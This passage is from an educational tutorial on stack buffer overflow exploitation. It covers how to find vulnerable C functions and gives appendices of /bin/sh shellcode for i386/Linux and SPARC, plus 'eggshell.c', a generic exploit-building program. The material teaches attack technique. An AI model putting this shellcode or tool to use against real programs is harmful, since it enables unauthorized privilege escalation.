°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
```

```
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤









ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿÿ¿°¤ÿ¿









°¤ÿ¿°¤ÿ¿°¤
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
```

On the first try! It has certainly increased our odds. Depending how much environment data the exploit program has compared with the program you are trying to exploit the guessed address may be to low or to high. Experiment both with positive and negative offsets.

Finding Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~~

As stated earlier, buffer overflows are the result of stuffing more information into a buffer than it is meant to hold. Since C does not have any built-in bounds checking, overflows often manifest themselves as writing past the end of a character array. The standard C library provides a number of functions for copying or appending strings, that perform no boundary checking. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions operate on null-terminated strings, and do not check for overflow of the receiving string. gets() is a function that reads a line from stdin into a buffer until either a terminating newline or EOF. It performs no checks for buffer overflows. The scanf() family of functions can also be a problem if you are matching a sequence of non-white-space characters (%s), or matching a non-empty sequence of characters from a specified set (%[]), and the array pointed to by the char pointer, is not large enough to accept the whole sequence of characters, and you have not defined the optional maximum field width. If the target of any of these functions is a buffer of static size, and its other argument was somehow derived from user input there is a good posibility that you might be able to exploit a buffer overflow.

Another usual programming construct we find is the use of a while loop to read one character at a time into a buffer from stdin or some file until the end of line, end of file, or some other delimiter is reached. This type of
~~~~~~~~~~~~~~~~~~~~~~~~

construct usually uses one of these functions: getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while loop, such programs are easily exploited.

To conclude, grep(1) is your friend. The sources for free operating systems and their utilities is readily available. This fact becomes quite interesting once you realize that many comercial operating systems utilities where derived from the same sources as the free ones. Use the source d00d.

Appendix A - Shellcode for Different Operating Systems/Architectures

i386/Linux

```
------------------------------------------------------------------------------
        jmp    0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
        movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc    %eax
        int    $0x80
        call   -0x24
        .string \"/bin/sh\"
------------------------------------------------------------------------------
```

SPARC/Solaris

```
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        ta      8
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      8
------------------------------------------------------------------------------
```

SPARC/SunOS

```
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
```

```
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        mov     -0x1, %l5
        ta      %l5 + 1
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      %l5 + 1
------------------------------------------------------------------------------
```

Appendix B - Generic Buffer Overflow Program
~~~~~~

```
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE        1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE        4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE        4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
```
~~~~~~

```
}

#endif
------------------------------------------------------------------------------

eggshell.c
------------------------------------------------------------------------------
/*
 * eggshell v1.0
 *
 * Aleph One / aleph1@underground.org
 */
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048

void usage(void);

void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

  while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
    switch (c) {
      case 'a':
        align = atoi(optarg);
        break;
      case 'b':
        bsize = atoi(optarg);
        break;
      case 'e':
        eggsize = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
        usage();
        exit(0);
    }

  if (strlen(shellcode) > eggsize) {
    printf("Shellcode is larger the the egg.\n");
    exit(0);
  }

  if (!(bof = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
```

```
  }

  addr = get_sp() - offset;
  printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
    bsize, eggsize, align);
  printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

  addr_ptr = (long *) bof;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
      m = (n + align) % NOP_SIZE;
      *(ptr++) = nop[m];
    }

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  bof[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);

  memcpy(bof,"BOF=",4);
  putenv(bof);
  system("/bin/sh");
}

void usage(void) {
  (void)fprintf(stderr,
    "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offs
et>]\n");
}
------------------------------------------------------------------------------
```